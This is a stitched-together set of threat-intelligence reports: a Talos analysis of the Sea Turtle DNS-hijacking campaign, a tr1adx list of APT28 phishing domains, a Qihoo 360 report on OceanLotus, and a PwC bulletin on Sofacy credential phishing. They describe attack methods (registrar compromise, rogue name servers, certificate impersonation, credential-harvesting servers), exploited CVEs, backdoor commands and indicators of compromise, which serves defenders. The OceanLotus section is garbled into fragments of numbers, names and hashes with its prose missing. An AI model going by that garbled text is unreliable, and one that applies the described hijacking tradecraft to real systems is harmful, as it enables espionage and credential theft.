If an attacker was able to compromise an organizations network administrator credentials, the attacker would be able to change that particular organizations DNS records at will.
The second way to access DNS records is through a DNS registrar, sometimes called registrar operators.
A registrar sells domain names to the public and manages DNS records on behalf of the registrant through the domain registry.
Records in the domain registry are accessed through the registry application using the Extensible Provisioning Protocol (EPP).
EPP was detailed in the request for comment (RFC) 5730 as a means of interaction between a registrars applications and registry applications.
If the attackers were able to obtain one of these EPP keys, they would be able to modify any DNS records that were managed by that particular registrar.
The third approach to gain access to DNS records is through one of the registries.
These registries manage any known TLD, such as entire country code top-level domains (ccTLDs) and generic top-level domains (gTLDs).
For example, Verisign manages all entities associated with the top-level domain (TLD) .com.
All the different registry information then converges into one of 12 different organization that manage different parts of the domain registry root.
The domain registry root is stored on 13 named authorities in the delegation data for the root zone, according to ICANN.
Finally, actors could target root zone servers to modify the records directly.
It is important to note that there is no evidence during this campaign (or any other we are aware of) that the root zone servers were attacked or compromised.
We highlight this as a potential avenue that attackers would consider.
The root DNS servers issued a joint statement that stated, There are no signs of lost integrity or compromise of the content of the root [server] zone There are no signs of clients having received unexpected responses from root servers.
3/13 https://tools.ietf.org/html/rfc5730 https://www.iana.org/domains/root/servers https://www.icann.org/news/blog/there-are-not-13-root-servers https://root-servers.org/news/20190314-Rootops_statement_Integrity_of_root_server_system.pdf Assessed Sea Turtle DNS hijacking methodology It is important to remember that the DNS hijacking is merely a means for the attackers to achieve their primary objective.
Based on observed behaviors, we believe the actor ultimately intended to steal credentials to gain access to networks and systems of interest.
To achieve their goals, the actors behind Sea Turtle: 1.
Established a means to control the DNS records of the target.
2.
Modified DNS records to point legitimate users of the target to actor-controlled servers.
3.
Captured legitimate user credentials when users interacted with these actor- controlled servers.
The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals.
Redirection Attack Methodology Diagram 4/13 Operational tradecraft Initial access The threat actors behind the Sea Turtle campaign gained initial access either by exploiting known vulnerabilities or by sending spear-phishing emails.
Talos believes that the threat actors have exploited multiple known CVEs to either gain initial access or to move laterally within an affected organization.
Based on our research, we know the actor utilizes the following known exploits: CVE-2009-1151: PHP code injection vulnerability affecting phpMyAdmin CVE-2014-6271: RCE affecting GNU bash system, specifically the SMTP (this was part of the Shellshock CVEs) CVE-2017-3881: RCE by unauthenticated user with elevated privileges Cisco switches CVE-2017-6736: Remote Code Exploit (RCE) for Cisco integrated Service Router 2811 CVE-2017-12617: RCE affecting Apache web servers running Tomcat CVE-2018-0296: Directory traversal allowing unauthorized access to Cisco Adaptive Security Appliances (ASAs) and firewalls 5/13 https://nvd.nist.gov/vuln/detail/CVE-2009-1151 https://nvd.nist.gov/vuln/detail/CVE-2014-6271 https://www.us-cert.gov/ncas/alerts/TA14-268A https://nvd.nist.gov/vuln/detail/CVE-2017-3881 https://nvd.nist.gov/vuln/detail/CVE-2017-6736 https://nvd.nist.gov/vuln/detail/CVE-2017-12617 https://nvd.nist.gov/vuln/detail/CVE-2018-0296 CVE-2018-7600: RCE for Website built with Drupal, aka Drupalgeddon As of early 2019, the only evidence of the spear-phishing threat vector came from a compromised organizations public disclosure.
On January 4, Packet Clearing House, which is not an Internet exchange point but rather is an NGO which provides support to Internet exchange points and the core of the domain name system, provided confirmation of this aspect of the actors tactics when it publicly revealed its internal DNS had been briefly hijacked as a consequence of the compromise at its domain registrar.
As with any initial access involving a sophisticated actor, we believe this list of CVEs to be incomplete.
The actor in question can leverage known vulnerabilities as they encounter a new threat surface.
This list only represents the observed behavior of the actor, not their complete capabilities.
Globalized DNS hijacking activity as an infection vector During a typical incident, the actor would modify the NS records for the targeted organization, pointing users to a malicious DNS server that provided actor-controlled responses to all DNS queries.
The amount of time that the targeted DNS record was hijacked can range from a couple of minutes to a couple of days.
This type of activity could give an attacker the ability to redirect any victim who queried for that particular domain around the world.
Other cybersecurity firms previously reported some aspects of this activity.
Once the actor-controlled name server was queried for the targeted domain, it would respond with a falsified A record that would provide the IP address of the actor- controlled MitM node instead of the IP address of the legitimate service.
In some instances, the threat actors modified the time-to-live (TTL) value to one second.
This was likely done to minimize the risk of any records remaining in the DNS cache of the victim machine.
During 2019, we observe the following name servers being used in support of the Sea Turtle campaign: Domain Active Timeframe ns1[.]intersecdns[.
]com March - April 2019 ns2[.]intersecdns[.
]com March - April 2019 ns1[.]lcjcomputing[.
]com January 2019 ns2[.]lcjcomputing[.
]com January 2019 6/13 https://nvd.nist.gov/vuln/detail/CVE-2018-7600 https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/ Credential harvesting: Man-in-the-middle servers Once the threat actors accessed a domains DNS records, the next step was to set up a man- in-the-middle (MitM) framework on an actor-controlled server.
The next step for the actor was to build MitM servers that impersonated legitimate services to capture user credentials.
Once these credentials were captured, the user would then be passed to the legitimate service.
to evade detection, the actors performed certificate impersonation, a technique in which the attacker obtained a certificate authority-signed X.509 certificate from another provider for the same domain imitating the one already used by the targeted organization.
For example, if a DigiCert certificate protected a website, the threat actors would obtain a certificate for the same domain but from another provider, such as Lets Encrypt or Comodo.
This tactic would make detecting the MitM attack more difficult, as a users web browser would still display the expected SSL padlock in the URL bar.
When the victim entered their password into the attackers spoofed webpage, the actor would capture these credentials for future use.
The only indication a victim received was a brief lag between when the user entered their information and when they obtained access to the service.
This would also leave almost no evidence for network defenders to discover, as legitimate network credentials were used to access the accounts.
In addition to the MitM server IP addresses published in previous reports, Talos identified 16 additional servers leveraged by the actor during the observed attacks.
The complete list of known malicious IP addresses are in the Indicators of Compromise (IOC) section below.
Credential harvesting with compromised SSL certificates Once the threat actors appeared to have access to the network, they stole the organizations SSL certificate.
The attackers would then use the certificate on actor-controlled servers to perform additional MitM operations to harvest additional credentials.
This allowed the actors to expand their access into the targeted organizations network.
The stolen certificates were typically only used for less than one day, likely as an operational security measure.
Using stolen certificates for an extended period would increase the likelihood of detection.
In some cases, the victims were redirected to these actor-controlled servers displaying the stolen certificate.
One notable aspect of the campaign was the actors ability to impersonate VPN applications, such as Cisco Adaptive Security Appliance (ASA) products, to perform MitM attacks.
At this time, we do not believe that the attackers found a new ASA exploit.
Rather, they likely 7/13 abused the trust relationship associated with the ASAs SSL certificate to harvest VPN credentials to gain remote access to the victims network.
This MitM capability would allow the threat actors to harvest additional VPN credentials.
As an example, DNS records indicate that a targeted domain resolved to an actor-controlled MitM server.
The following day, Talos identified an SSL certificate with the subject common name of ASA Temporary Self Signed Certificate associated with the aforementioned IP address.
This certificate was observed on both the actor-controlled IP address and on an IP address correlated with the victim organization.
In another case, the attackers were able to compromise NetNod, a non-profit, independent internet infrastructure organization based in Sweden.
NetNod acknowledged the compromise in a public statement on February 5, 2019.
Using this access, the threat actors were able to manipulate the DNS records for sa1[.]dnsnode[.
]net.
This redirection allowed the attackers to harvest credentials of administrators who manage domains with the TLD of Saudi Arabia (.sa).
It is likely that there are additional Saudi Arabia-based victims from this attack.
In one of the more recent campaigns on March 27, 2019, the threat actors targeted the Sweden-based consulting firm Cafax.
On Cafaxs public webpage, the company states that one of their consultants actively manages the i[.]root-server[.
]net zone.
NetNod managed this particular DNS server zone.
We assess with high confidence that this organization was targeted in an attempt to re-establish access to the NetNod network, which was previously compromised by this threat actor.
Primary and secondary victims 8/13 https://www.netnod.se/news/statement-on-man-in-the-middle-attack-against-netnod http://www.cafax.se/Home.html We identified 40 different organizations that have been targeted during this campaign.
The victim organizations appear to be broadly grouped into two different categories.
The first group of victims, which we refer to as primary victims, were almost entirely located in the Middle East and North Africa.
Some examples of organizations that were compromised include: Ministries of foreign affairs Military organizations Intelligence agencies Prominent energy organizations The second cluster of victim organizations were likely compromised to help enable access to these primary targets.
These organizations were located around the world however, they were mostly concentrated in the Middle East and North Africa.
Some examples of organizations that were compromised include: Telecommunications organizations Internet service providers Information technology firms Registrars One registry Notably, the threat actors were able to gain access to registrars that manage ccTLDs for Amnic, which is listed as the technical contact on IANA for the ccTLD .am.
Obtaining access to this ccTLD registrars would have allowed attackers to hijack any domain that used those ccTLDs.
How is this tradecraft different?
The threat actors behind the Sea Turtle campaign have proven to be highly capable, as they have been able to perform operations for over two years and have been undeterred by public reports documenting various aspects of their activity.
This cyber threat campaign represents the first known case of a domain name registry organization that was compromised for cyber espionage operations.
In order to distinguish this activity from the previous reporting on other attackers, such as those affiliated with DNSpionage, below is a list of traits that are unique to the threat actors behind the Sea Turtle campaign: These actors perform DNS hijacking through the use of actor-controlled name servers.
These actors have been more aggressive in their pursuit targeting DNS registries and a number of registrars, including those that manage ccTLDs.
These actors use Lets Encrypts, Comodo, Sectigo, and self-signed certificates in their 9/13 https://www.iana.org/domains/root/db/am.html MitM servers to gain the initial round of credentials.
Once they have access to the network, they steal the organizations legitimate SSL certificate and use it on actor-controlled servers.
Why was it so successful?
We believe that the Sea Turtle campaign continues to be highly successful for several reasons.
First, the actors employ a unique approach to gain access to the targeted networks.
Most traditional security products such as IDS and IPS systems are not designed to monitor and log DNS requests.
The threat actors were able to achieve this level of success because the DNS domain space system added security into the equation as an afterthought.
Had more ccTLDs implemented security features such as registrar locks, attackers would be unable to redirect the targeted domains.
The threat actors also used an interesting techniques called certificate impersonation.
This technique was successful in part because the SSL certificates were created to provide confidentiality, not integrity.
The attackers stole organizations SSL certificates associated with security appliances such as ASA to obtain VPN credentials, allowing the actors to gain access to the targeted network.
The threat actors were able to maintain long term persistent access to many of these networks by utilizing compromised credentials.
We will continue to monitor Sea Turtle and work with our partners to understand the threat as it continues to evolve to ensure that our customers remain protected and the public is informed.
Mitigation strategy In order to best protect against this type of attack, we compiled a list of potential actions.
Talos suggests using a registry lock service, which will require an out-of-band message before any changes can occur to an organizations DNS record.
If your registrar does not offer a registry lock service, we recommend implementing multi-factor authentication, such as DUO, to access your organizations DNS records.
If you suspect you were targeted by this type of activity intrusion, we recommend instituting a network-wide password reset, preferably from a computer on a trusted network.
Lastly, we recommend applying patches, especially on internet-facing machines.
Network administrators can monitor passive DNS record on their domains, to check for abnormalities.
Coverage CVE-2009-1151: PHP code injection vulnerability affecting phpMyAdmin SID: 2281 10/13 https://www.cisco.com/c/en/us/products/security/adaptive-multi-factor-authentication.html https://snort.org/rule_docs/1-2281 CVE-2014-6271: RCE affecting GNU bash system, specific the SMTP (this was part of the Shellshock CVEs) SID: 31975 - 31978, 31985, 32038, 32039, 32041 - 32043, 32069, 32335, 32336 CVE-2017-3881: RCE for Cisco switches SID: 41909 - 41910 CVE-2017-6736: Remote Code Exploit (RCE) for Cisco integrated Service Router 2811 SID: 43424 - 43432 CVE-2017-12617: RCE affecting Apache web servers running Tomcat SID: 44531 CVE-2018-0296: Directory traversal to gain unauthorized access to Cisco Adaptive Security Appliances (ASAs) and Firewalls SID: 46897 CVE-2018-7600: RCE for Website built with Drupal aka Drupalgeddon SID: 46316 Indicators of Compromise The threat actors utilized leased IP addresses from organizations that offer virtual private server (VPS) services.
These VPS providers have since resold many of these IP addresses to various benign customers.
To help network defenders, we have included the IP address, as well as the month(s) that the IP address was associated with the threat actor.
IP address Month Year Country of targets 199.247.3.191 November 2018 Albania, Iraq 37.139.11.155 November 2018 Albania, UAE 185.15.247.140 January 2018 Albania 206.221.184.133 November 2018 Egypt 188.166.119.57 November 2018 Egypt 185.42.137.89 November 2018 Albania 82.196.8.43 October 2018 Iraq 159.89.101.204 December - January 2018-2019 Turkey, Sweden, Syria, Armenia, US 146.185.145.202 March 2018 Armenia 11/13 https://snort.org/rule_docs/1-31975 https://snort.org/rule_docs/1-31978 https://snort.org/rule_docs/1-31985 https://snort.org/rule_docs/1-32038 https://snort.org/rule_docs/1-32039 https://snort.org/rule_docs/1-32041 https://snort.org/rule_docs/1-32043 https://snort.org/rule_docs/1-32069 https://snort.org/rule_docs/1-32335 https://snort.org/rule_docs/1-32336 https://snort.org/rule_docs/1-41909 https://snort.org/rule_docs/1-41910 https://snort.org/rule_docs/3-43424 https://snort.org/rule_docs/3-43432 https://snort.org/rule_docs/1-44531 https://snort.org/rule_docs/1-46316 178.62.218.244 December - January 2018-2019 UAE, Cyprus 139.162.144.139 December 2018 Jordan 142.54.179.69 January - February 2017 Jordan 193.37.213.61 December 2018 Cyprus 108.61.123.149 February 2019 Cyprus 212.32.235.160 September 2018 Iraq 198.211.120.186 September 2018 Iraq 146.185.143.158 September 2018 Iraq 146.185.133.141 October 2018 Libya 185.203.116.116 May 2018 UAE 95.179.150.92 November 2018 UAE 174.138.0.113 September 2018 UAE 128.199.50.175 September 2018 UAE 139.59.134.216 July - December 2018 United States, Lebanon 45.77.137.65 March - April 2019 Syria, Sweden 142.54.164.189 March - April 2019 Syria 199.247.17.221 March 2019 Sweden The following list contains the threat actor name server domains and their IP address.
Domain Active Timeframe IP address ns1[.]intersecdns[.
]com March - April 2019 95.179.150.101 ns2[.]intersecdns[.
]com March - April 2019 95.179.150.101 ns1[.]lcjcomputing[.
]com January 2019 95.179.150.101 ns2[.]lcjcomputing[.
]com January 2019 95.179.150.101 12/13 13/13 DNS Hijacking Abuses Trust In Core Internet Service Preface Executive Summary Background on Domain Name Services and records management Assessed Sea Turtle DNS hijacking methodology Redirection Attack Methodology Diagram Operational tradecraft Initial access Globalized DNS hijacking activity as an infection vector Credential harvesting: Man-in-the-middle servers Credential harvesting with compromised SSL certificates Primary and secondary victims How is this tradecraft different?
Why was it so successful?
Mitigation strategy Coverage Indicators of Compromise
[tr1adx]: Intel tr1adx.net/intel/TIB-00001.html tr1adx Intelligence Bulletin (TIB) 00001: Bear Hunting Season: Tracking APT28 [December 28, 2016] Summary Our APT28 (a.k.a.
Fancy Bear, Sofacy) friends in the Russian Federation have been busy once again.
Not only have they been busy staying in the spotlight with recent news coverage around the DNC breach and tracking of Ukrainian Field Artillery Units, but also with registering plenty of domains at a pace akin to those mileage runs folks do before year end to re-qualify for airline status.
Investigations we have conducted show recent campaigns focused on a plethora of targets in various countries and/or regions, including: Armenia Turkey Lithuania Belarus Malaysia Middle East Ukraine Slovakia Kazahstan Spain United Kingdom Argentina Japan Hong Kong India Taiwan Ghana European Union Institutions NATO Affiliated Targets Targets include: Military Defense Industry Government Non Governmental Organizations (NGOs) Advocacy Groups Law Enforcement Law Firms and Legal Services Journalism / News Organizations Particular individuals / persons of interest Oil  Gas Industry 1/3 https://www.tr1adx.net/intel/TIB-00001.html Analysis TTPs associated with this Threat Actor allow us to track APT28s activities with a high/moderate degree of confidence, and follow their trail of breadcrumbs.
From an overall TTP perspective, not much has changed APT28 is a huge fan of registering domain names that appear to be legitimate and/or associated with their targets.
APT28 will then leverage spear phishing or other methods to entice their targets to visit web sites hosted on these domains in an attempt to harvest credentials, or other desired information.
Subsequently, the Threat Actor will generally install Sofacy, Agent-X malware for persistence and command  control of the acquired targets.
While the majority of TTPs (tradecraft) related to APT28 have not changed, we did discover two separate instances where registered domains were specifically tailored to target particular individuals / persons of interest, down to the level of showing what seem to be copies of passport photographs of these individuals in what appears to be an attempt to legitimize the infrastructure associated with the campaign.
Furthermore, investigation of configuration files associated with these campaigns concluded that the Threat Actor had already gathered valid credentials of the user, which were hard coded into the mock application.
It appears extortion may be an intended effect of this particular piece of the campaign as such we have made a conscious decision not to publicize any Indicators of Compromise associated with the extortion elements.
Indicators of Compromise Indicators of Compromise (IOCs): Domains (130) - Summary Table 365msoffice[.
]com acccountverify[.
]com accgmail[.
]com account-close-status[.
]com accountsteam-en[.
]com accounts-updated[.
]com accountverify[.
]com accountverify[.
]info adobe-flash-updates[.
]org adobemainsecurity[.
]com akadns[.
]info akamaichecker[.
]com apple-assistance- localisation[.
]com apple-care-support[.
]com apple-cloud-connect[.
]com applecloudupdate[.
]com apple-iclouds[.
]net appleid-security- icloud[.
]com apple-id-service[.
]com apple-iphonesecurity- icloud[.
]com apple-iphone- services[.
]com apple-location-id[.
]com apple-security- support[.
]info apple-support- securityiphone[.
]com iadb-online[.
]com icloud-id-en[.
]com icloud-id-localisation[.
]com icloud-id-security[.
]com icloud-id-services[.
]com icloud- iphonesecurity[.
]com icloud-iphone- services[.
]com icloud-localisation-id[.
]com icloud-security- support[.
]com icloud-service-apple[.
]com icloud-support-id[.
]com identification-apple[.
]com identification-apple- id[.
]com identification-icloud- id[.
]com id-icloud-localisation[.
]com id-icloud-support[.
]com imf-eu[.
]org istoreapple[.
]com itune-app[.
]com itunes-helper[.
]net limited-resolution[.
]com limited-verification[.
]com localisation-apple[.
]com localisation-apple-id[.
]com localisation-apple- security[.
]com protectingcorpind[.
]com proxysys-config[.
]com reinstate-account[.
]com reportscanprotecting[.
]org reservecorpind[.
]com rsshotmail[.
]com samsvung[.
]com secureconnectcompany[.
]com secure-remove- limitation[.
]com secure-verification- center[.
]com security-apple-id[.
]com security-icloud-apple[.
]com security-icloud- localisation[.
]com security-resolution- center[.
]com security-verification[.
]net security-verifications[.
]com shcserv[.
]com signin-icloudsupport[.
]com support-icloud-apple[.
]com support-icloud- localisation[.
]com support-localisation- icloud[.
]com support-security-icloud[.
]com support-svc[.
]com transfersevices[.
]net 2/3 securityiphone[.
]com apps4updates[.
]com arghpxdge01-airgas[.
]com cavuslawfirm[.
]com checkfindmyiphone[.
]com cloud-apple-support[.
]com cloud-id-localisation[.
]com csert[.
]net dateosx[.
]com defenceglobaladviser[.
]com delivery-mail-service[.
]com diplomatscouncil[.
]org emailprovider[.
]org emails-aol[.
]com exchangetrusts[.
]com facebookonlinenotice[.
]com facebookservices[.
]org fbarticles[.
]com generalscaningcorp[.
]org generalsecuritycorp[.
]org generalsecurityscan[.
]com getwindowsupdates[.
]com globaldefencetalk[.
]com gmailservicegroup[.
]com gmailservices[.
]org gnpad-gh-gov[.
]org google-vservice[.
]com security[.
]com localisation-id-apple[.
]com localisation-id- icloud[.
]com localisation-security[.
]com localisation-support[.
]com login-resolve- limitations[.
]com login-security-center[.
]com login-security- notification[.
]com login-security- verifications[.
]com mailerfeed[.
]net mail-periodistas[.
]net microsoftdccenter[.
]com microsoftfont[.
]com microsoftofficeupdate[.
]net mobilehostsvc[.
]com msfontsrv[.
]com msmodule[.
]net msofficeinstall[.
]com nato-nevvs[.
]org netcorpscanprotect[.
]com nvidiagforceup[.
]com officefont[.
]com offlineupdates[.
]com politicsadvertisment[.
]com pressservices[.
]net privacy-ukr[.
]net transfersevices[.
]net transworldpetroleum[.
]com twiterservices[.
]org update-adobe[.
]com updatepple[.
]com update-security- information[.
]com updatesrvx[.
]net us-facebook[.
]com windowsofficeupdate[.
]com winsystemsvc[.
]net wpadsettings[.
]net wsusconnect[.
]com xn--amazo-d8a[.
]com yuotubc[.
]com Indicators of Compromise (IOCs) [Downloadable Files]: TIB-00001 Domain IOCs [TXT] If a log search for any of these Indicators of Compromise returns positive hits, we recommend you initiate appropriate cyber investigative processes immediately and engage Law Enforcement where appropriate.
3/3 https://www.tr1adx.net/intel/public/TIB-00001_IOC_Domain.txt [tr1adx]: Intel
2012  4  OceanLotus    OceanLotus  100  29 36 92.3  6  C2 CC Command and Control  35  IP 19  13 2014  2 OceanLotus  2014  5  2014  5 9  2015  1   OceanLotus  4  OceanLotus 2014 OceanLotus  2014 11OceanLotus  OceanLotus  3    OceanLotusAPT 2 OceanLotus 1 OceanLotus 2012  4      OceanLotus OceanLotus  2012  4 3  4 100  29 36  6 C2 CC Command and Control 35  IP  19  13  OceanLotus 1 2012  4 OceanLotus OceanLotus 2 2014  2 OceanLotus OceanLotus  14  3 2014  5 OceanLotus 14 4  2014  5 OceanLotus  5 2014  6 OceanLotus  6 2014  9 OceanLotus  7 2014  11 OceanLotus  8 2015  1  19 OceanLotus  2 OceanLotus 9 2015  3 OceanLotus OceanLotus 2014  2  OceanLotus  OceanLotus 92.3 22.7 15.5 3 OceanLotus OceanLotus 2014 OceanLotus  2014  11 OceanLotus   OceanLotus  3    4 OceanLotus OceanLotus  OceanLotus Spear Phishing   Water Holing   OceanLotus 58.6 41.4 5 OceanLotus 2014  5 2015  1 2014  5  2014  9   OceanLotus  OceanLotus  C2 OceanLotus 2014  2 OceanLotus  OceanLotus Microsoft Word .exe   APT 1 2014  5  22  5  28 .jpg.exe  2 2014  2015 700  6 OceanLotus 2014  9  9 .exe 2014  11  5 .exe  OceanLotus  OceanLotus    .exe .exe .jpg.exe .exe 2014 .exe 2015  1  12 .exe .exe 2015 .exe  Windows .exe   OceanLotus 7 1/5  OceanLotus 7 Web Web OceanLotus  OceanLotus 3-5 OceanLotus   OceanLotus 1  A OceanLotus     Flash  Flash  JS Flash  Windows  install_flashplayer.exe Mac OS Safari        MAC OS install_flashplayer_mac.zip 2  B  8 OceanLotus OceanLotus  522 7  50 .rar OceanLotus  download.mail-attach.net 7  50 .rar JPG  exe     9     MD5 install_flashplayer.exe 7e68371ba3a988ff88e0fb54e2507f0d rtx.exe 0529b1d393f405bc2b2b33709dd57153 sinopec.exe 9fea62c042a8eda1d3f5ae54bad1e959 .exe 486bb089b22998ec2560afa59008eafa USBDeview.exe b778d0de33b66ffdaaf76ba01e7c5b7b DSC00229.exe 53e5718adf6f5feb2e3bb3396a229ba8 install_flashplayer13x37.exe d39edc7922054a0f14a5b000a28e3329 NetcaEKeyClient.exe 41bced8c65c5822d43cadad7d1dc49fd OceanLotus   OceanLotus  3  3      OceanLotus  C2 IP 3  C2 35  IP  19 10 OceanLotus Whois OceanLotus  2014  2  2014  4   10  4  3 5  4  3 11  IP pad.werzo.net 185.29.8.39 2012/4/17 C2Mac OS shop.ownpro.net 185.29.8.39 2012/4/17 C2Mac OS ssl.sfashi.com 176.31.22.77 2012/11/7 C2 kiifd.pozon7.net 173.208.157.117 2013/1/8 C2Mac OS cdn.libjs.co 62.113.238.135 2013/9/6 C2 sin04s01.listpaz.com 193.169.244.73 2013/11/12 C2 high.expbas.net 91.229.77.179 2014/1/22 C2 img.fanspeed.net  2014/2/8 C2 active.soariz.com 193.169.244.73 2014/2/20 C2 zone.mizove.com 193.169.244.73 2014/2/20 C2 dc.jaomao69.info 146.0.43.107 2014/3/14 Downloader cdn.jaomao69.info 146.0.43.107 2014/3/14 C2 download.mail-attach.net  2014/4/2 Downloader cnf.flashads.org 128.127.106.243 2014/4/3 cn.flashads.org 128.127.106.243 2014/4/3  DownloaderDNS cv.flashads.org 128.127.106.243 2014/4/3 cp.flashads.org 128.127.106.243 2014/4/3 fpdownload.shockwave.f lashads.org 128.127.106.243 2014/4/3 Downloader authen.mail.hairunaw.co m.l.main.userapp.org 192.187.120.45 2014/4/8 Downloader jsquery.net  64.62.174.176 2014/4/8 C2 gs.kroger7.net 167.114.184.117 2014/5/16 C2 autoupdate.adobe.com  Adobe    12 OceanLotus  OceanLotus  4 3  Windows  MAC  4  Windows  3    4 OceanLotus TesterOceanLotus EncryptorOceanLotus CloudrunnerOceanLotus MAC OceanLotus  4 OceanLotus Tester OceanLotus Tester  2012  Tester  OceanLotus Tester  C2 3 Tester OceanLotus Tester  OceanLotus   OceanLotus Encryptor Encryptor  2014  2 Word  JPG .exe Encryptor Word .exe 13 Encryptor  C2 Office  WordPPTOutlook Encryptor  Encryptor Word Word  64  2  Bundle.rdb Bundle.rdb C2 QQ Encryptor 0x00 M  OceanLotus Cloudrunner Cloudrunner  2014  11  Encryptor Cloudrunner     14 OceanLotus Shellcode      YahooQQSkype ThunderBirdFoxmailMaileaseMS LiveOutlook  IP   OceanLotus MAC OceanLotus MAC  OceanLotus Encryptor OceanLotusMACMac OS APT  MAC MD59831a7bfcf595351206a2ea5679fa65e FlashUpdate.app\Contents\MacOS\EmptyApplication  Loader 15  FlashUpdate.app\Contents\Resources\en.lproj\.en_icon FlashUpdate.app\Contents\Resources\en.lproj\.DS_Stores .en_icon .DS_Stores ,EmptyApplication .DS_Stores  3  C2 kiifd.pozon7.net pad.werzo.netshop.ownpro.net  ls [path] cd [path] Pwd rm file_path cp srcppath dstpath mv srcpath dstpath p info:pid  ppid  name kill pid cmd command system capture saved_path cat path [num_byte] download fromURLsavePath MAC 1 2  3 /bin/launchctl 4 5  Parallels 16 OceanLotus OceanLotus OceanLotus     1   2  3  3OceanLotus 3  OceanLotus   17 OceanLotus     APT APT OceanLotus APT FireEye APT  APT  APT APT   360 0day/Nday APT  APT APT APT APT  APT OceanLotus  APT  3 29  36 3 OceanLotus 4 13  35 OceanLotus APT APT OceanLotus  18 OceanLotus PB  OceanLotus  OceanLotus APT APT  APT  360     19 360 360 360  360  NYSE:QIHU 360  360  5  PC  7 PC 96 360  About Qihoo 360 Qihoo 360 Technology Co. Ltd. (NYSE: QIHU) is a leading Internet and mobile platform company in China, measured by user base.
By December 2014, Qihoo 360 had about 509 million monthly active Internet users, and over 744 million mobile users.
Recognizing security as a fundamental need of all Internet and mobile users, Qihoo 360 built a large user base by offering comprehensive, effective and user-friendly Internet and mobile security products.
Qihoo 360 strives to provide services that protect users computers and mobile devices against malware and malicious websites.
SkyEye Labs 2014 1  360 NYSE:QIHU 360   About SkyEye Labs Established on Jan. 2014, SkyEye Labs is a special team within Qihoo 360 (NYSE:QIHU), focusing on unknown threats research with big data technology.
Based on the Qihoo 360s security big data accumulated for years and data mining technology, SkyEye Labs can achieve the identifying, tracing, monitoring and forewarning of unknown threats on the whole network, so as to provide threat intelligence timely for security detection and defense devices.
20 OceanLotus 360 360 360  360   360   About 360 SkyEye System 360 SkyEye is a new-generation unknown threats awareness system, which can help large organizations like governments, financial institutions, energy enterprises and telecom industries to identify and trace unknown threats.
By utilizing automatic data mining and cloud-base correlation analysis, 360 SkyEye is able to foresee divers security threats and push customized threat intelligence to clients.
With on-premise appliance, 360 SkyEye also can store and analyze local traffic in depth, to help clients to identify malicious behaviors of unknown threats in early stage.
Furthermore, SkyEye is able to locate targeted victims and attack sources as well, to achieve intrusion path tracing eventually.
Cyber Threat Operations Tactical Intelligence Bulletin Date:  2014-10-22 Contact: threatintelligenceuk.pwc.com Reference: CTO-TIB-20141022-01B TLP:   WHITE Sofacy Phishing Tactical Intelligence Bulletin  TLP:  WHITE Cyber Threat Operations Background Our analysts follow the activities of a number of threat groups with a wide range of motivations.
In this bulletin we are sharing intelligence relating to a recent phishing campaign conducted by a group widely referred to as Sofacy, named after the antivirus1 detection name for one of the malware families used by the group.
Over the years there have been a number of papers discussing variations to the malware used by the group, but little discussion of less sophisticated techniques employed by the same attackers.
Analysis Sofacy has been discussed before as being used to target APEC members2 and there has also been some prior analysis of the malware itself3.
Variants of the malware have been in use for a considerable amount of time  for example, the screenshot below is from the decoy document loaded by one of the earliest versions present on ThreatExpert4, from February 2010.
Sample 5e3bea788e89e0814e898b4a648b93c0b74f7e2c Decoy documents are used in conjunction with malware droppers in order to make the target believe the file they have just opened is legitimate.
The documents often give an indication of the attackers intended targets.
More recently, ESET have reported5 on related spear phishes using NATO/Ukrainian conflict themes and watering hole attacks likely targeting the defence industry and a Polish finance company.
It has been publicly speculated before that Sofacy malware is Russian in origin.
Indicators found in the malware analysis referenced in the appendix, such as embedded resources and targeting would appear to support this theory.
1 http://www.symantec.com/security_response/writeup.jsp?docid2011-090714-2907-99 2 http://blog.trendmicro.com/trendlabs-security-intelligence/spoofed-apec-2013-email-mixes-old-threat-tricks/ 3 http://thegoldenmessenger.blogspot.de/2012/12/3-disclosure-of-another-0day-malware.html 4 http://threatexpert.com/reports.aspx?findnetids.dll 5 http://welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/ Tactical Intelligence Bulletin  TLP:  WHITE Cyber Threat Operations Targeting Recently, we observed a number of new domain registrations by the Sofacy attackers, all of which are closely related via shared WHOIS data and infrastructure.
New domain registrations are usually indicative of a new campaign, and so we were eager to find new samples of the malware which connected to the infrastructure.
The domain names chosen were almost identical to the legitimate domains of several organisations, a common technique and, like carefully chosen decoy documents, often gives clues as to the likely targets of the campaign.
The new domain names mimicked organisations in the following categories: International and European diplomatic institutions Popular providers of web services Military institutions, contractors and conferences Energy companies News organisations based out of the United States and Central Europe In addition to new malware samples, we also found examples where the attackers were using the simple technique of phishing for credentials.
The usage of malware in targeted attacks to steal information of value to attackers has been widely reported, however the simple technique of phishing for credentials, whilst still relatively common in targeted attacks, is still more typically associated with criminal attackers involved in day to day cyber-fraud.
The pages used for phishing typically used obfuscated code to redirect the user to another webpage: In some pages the malicious redirect was disabled by the attackers, by placing additional JavaScript on the page which would redirect users to a legitimate site preferentially.
Fake login pages were observed both for webmail and two factor-authentication platforms.
In the second case this would require the attackers to log in at the same time as affected victims, showing a level of dedication to the cause.
As well as the domains used being similar to those of the targeted, the pages were also made to appear the same as their legitimate counterparts, making it difficult for end-users to tell they were being duped.
For example the screenshot below shows the contents of a credential phishing website designed to mimic the legitimate OWA site of a defence contractor.
The attackers version is on the left, the real version is on the right: Tactical Intelligence Bulletin  TLP:  WHITE Cyber Threat Operations Two of the domains we identified have previously been associated in open source with credential phishing, although not attributed to this group of attackers: In October 2013 the domain chmail[.
]in was reported6  as being used in widespread attacks against users of the Iranian mail service chmail[.
]ir In January 2014 the domain google-settings[.
]com was reported7 as being used in credential theft against some gmail users.
Recommended Actions As ever with phishing attacks, one of the most important preventative steps you can take is to educate staff on how to identify suspicious emails  especially as there are fewer technical measures that can be taken to prevent low distribution phishing attacks which aim to steal credentials than there are for similar attacks involving malware.
Organisations with good logging for their e-mail data could attempt to detect activity relating to compromised accounts by alerting on impossible journeys, where locations from which users log in are monitored and where alerts are produced when a single user logs in from two separate countries in a short period of time.
Snort Signatures We have developed some SNORT signatures to detect the current template used by the attackers in their phishing campaigns.
